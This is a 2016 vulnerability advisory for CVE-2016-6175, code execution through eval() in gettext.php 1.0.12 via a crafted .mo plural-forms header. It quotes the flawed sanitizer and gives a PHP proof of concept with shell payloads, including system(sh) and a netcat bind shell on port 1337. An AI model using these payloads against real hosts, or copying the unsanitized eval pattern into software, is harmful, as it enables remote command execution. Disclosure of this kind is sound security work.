Title:
gettext.php <= 1.0.12 unauthenticated code execution with POTENTIAL privileges escalation

Date: June 25th, 2016
Author: kmkz (Bourbon Jean-marie) <mail.bourbon@gmail.com> | @kmkz_security
Project Homepage: https://launchpad.net/php-gettext/
Download: https://launchpad.net/php-gettext/trunk/1.0.12/+download/php-gettext-1.0.12.tar.gz
Version: 1.0.12 (latest release)
Tested on: Linux Debian, PHP 5.6.19-2+b1

CVSS: **7.1**
OVE ID: **OVE-20160705-0004**
CVE ID: **CVE-2016-6175**
OSVDB ID: n/a

Thanks: **Lars Michelsen** from NagVis project where this bug was discovered and **Danilo Segan** from gettext.php team project for their reactivity and professionalism
Credits:
https://github.com/NagVis/nagvis/commit/4fe8672a5aec3467da72b5852ca6d283c15adb53
https://bugs.launchpad.net/php-gettext/+bug/1606184

Fixes:
#https://github.com/NagVis/nagvis/blob/4fe8672a5aec3467da72b5852ca6d283c15adb53/share/server/core/ext/php-gettext-1.0.12/gettext.php

gettext.php <= 1.0.12 (latest) local/remote code execution with POTENTIAL privileges escalation issue

I. APPLICATION

This library provides PHP functions to read MO files even when gettext is not compiled in or when appropriate locale is not present on the system.

This issue was discovered by auditing Nagvis project source code, however NagVis is not impacted by the following issue.

NagVis is a visualization addon for the well known network managment system Nagios.

NagVis can be used to visualize Nagios Data, e.g. to display IT processes like a mail system or a network infrastructure.

II. ADVISORY

A possible remote (or local) code execution were identified in the **gettext.php** file allowing an attacker to gain access on the nagvis host system and/or gain application's privileges throught a specially crafted .mo language file.

The **$string** variable is not sufficiently sanitized before to be submitted to **eval()** function (which is dangerous) in **select_string()** function causing the security issue.

III. VULNERABILITY DESCRIPTION

The **gettext_reader()** funtion try to test magic number that need to match with .mo files :

$MAGIC1 = "\x95\x04\x12\xde";
$MAGIC2 = "\xde\x12\x04\x95";
If it seems correct then we'll continue.

We then extract forms from .mo file's header through **get_plural_forms()** function and check them with a deprecated (*since php 5.3.0 because it can be easily bypassed by adding a Null Byte*) **eregi()** regexp function in order to valid they match the following pattern:

plural-forms: ([^\n]*)\n

(This regular expression matching have no effect on our payload)

Next step will be to sanitize the obtained expression string before to practice the fatal eval() on this one.

Here is the impacted code snippet :

snip...

```
    if (eregi("plural-forms: ([^\n]*)\n", $header, $regs))
        $expr = $regs[1];
    else
        $expr = "nplurals=2; plural=n == 1 ? 0 : 1;";

    $this->pluralheader = $this→sanitize_plural_expression($expr); // The vulnerable function!!
}
```

snip…

The comments presents at the beginning of **sanitize_plural_expression()** function explain that this one is here to prevent the **eval()** function attacks called later.

Comments are :

```
/** Sanitize plural form expression for use in PHP eval call.
    @access private
    @return string sanitized plural form expression**/
```

In fact, the security is guaranteed by a "preg_replace" that not permit us to inject specials chars.

snip...

```
function sanitize_plural_expression($expr) {
  // Get rid of disallowed characters.
  $expr = preg_replace('@[^a-zA-Z0-9_:;\(\)\?\|\&=!<>+*/\%-]@', '', $expr); // « sanitizer »
  // Add parenthesis for tertiary '?' operator.
  $expr .= ';';
  $res = '';
  $p = 0;
  for ($i = 0; $i < strlen($expr); $i++) { // indentation ?
    $ch = $expr[$i];
    switch ($ch) {
```

```
      case '?':
        $res .= ' ? (';
        $p++;
        break;
      case ':':
        $res .= ') : (';
        break;
      case ';':
        $res .= str_repeat( ')', $p) . ';';
        $p = 0;
        break;
      default:
        $res .= $ch;
      }
    }
    return $res;
  }
```

snip...

Code snippet from the vulnerable function that execute eval() on the « sanitized string :

snip…

```
    $string = $this->get_plural_forms();
    $string = str_replace('nplurals',"\$total",$string);
    $string = str_replace("n",$n,$string);
    $string = str_replace('plural',"\$plural",$string);

    $total = 0;
    $plural = 0;

    eval("$string"); // eval called …. launch my shell baby !
```

snip…

However, for example (but not only!) we can call **system**() function with « sh » parameter in order to launch a /bin/sh command on the targeted system and allowing us to gain an interactive shell with application privileges on it.

A real scenario could be that a real attacker overwrites languages files located in the /nagvis-1.8.5/share/frontend/nagvis-js/locale/ directory, in an internal repository, a Docker shared folder or any other folder.

He now just have to wait or to execute the payload himself to obtain his shell, that's why this vulnerability is not so harmless !

Note :

*Apart from that we could imagine that the attacker transform the **$expr** variable to obtain an interactive remote shell without eval() and with (maybe) more privileges like this :*
$expr= (`nc -l -p 1337 -e /bin/sh`); // proof of concept and screenshots joined to this advisory

Like a Perl developer could say: « there is more than one way to do it »

IV. PROOF OF CONCEPT

Following PHP code reproduce the exploitation concept base on the 1.0.9 version (without a crafted .mo file and joined with this advisory).

```php
<?php
//$expr= ("system(sh)");  // payload1
//$expr= (`nc -l -p 1337 -e /bin/sh`); // payload that is not eval-dependant
$expr=("phpinfo()"); // payload2 (PoC)

$expr = preg_replace('@[^a-zA-Z0-9_:;\(\)\?\|\&=!<>+*/\%-]@', '', $expr);
$expr .= ';';

 // Add parenthesis for tertiary '?' operator.
$expr .= ';';
$res = '';
$p = 0;
for ($i = 0; $i < strlen($expr); $i++) {
        $ch = $expr[$i];
        switch ($ch) {
                case '?':
                        $res .= ' ? (';
                        $p++;
                        break;
                case ':':
                        $res .= ') : (';
                        break;
                case ';':
                        $res .= str_repeat( ')', $p) . ';';
                        $p = 0;
                        break;
        default:
                $res .= $ch;
        }
}

// Vulnerable function :
$n= ("nawak");
$total=("1000");
$string = str_replace('nplurals',"\$total",$res);
$string = str_replace("n",$res,$res);
$string = str_replace('plural',"\$plural",$res);
eval("$string");
?>
```

V. RECOMMENDATIONS

As explained in the associated « bug track », it was assumed that PO and MO files would come from untrusted translators.
Check the permissions on PO/MO files in order to ensure the provenance and the fact that is only accessible from trusted parties.

The project's members are writing a new version that will patch this issue definitively, thank you to respect their work and to apply this temporary fix.

VI. VERSIONS AFFECTED

This issue affect the latest GETTEXT .PHP version and were found in latest stable NAGVIS (1.8.5) version.
It could affect the a lot of web application and/or many website as long as it will not be updated.

VII. TIMELINE

June 21th, 2016: Vulnerability identification
June 21th, 2016: Nagvis project developers and gettext.php developers notification
June 22th, 2016: Nagvis project developers response
June 25th, 2016: Nagvis Patch release (even if not really affected)
June 27th, 2016: Gettext.php team response (from Danilo Šegan), exchange started
July 5th, 2016: CVE request ID (mitre) and OVE ID request
July 7th, 2016: CVE-2016-6175 attributed by MITRE
July 25th, 2016: Public disclosure

VIII. LEGAL NOTICES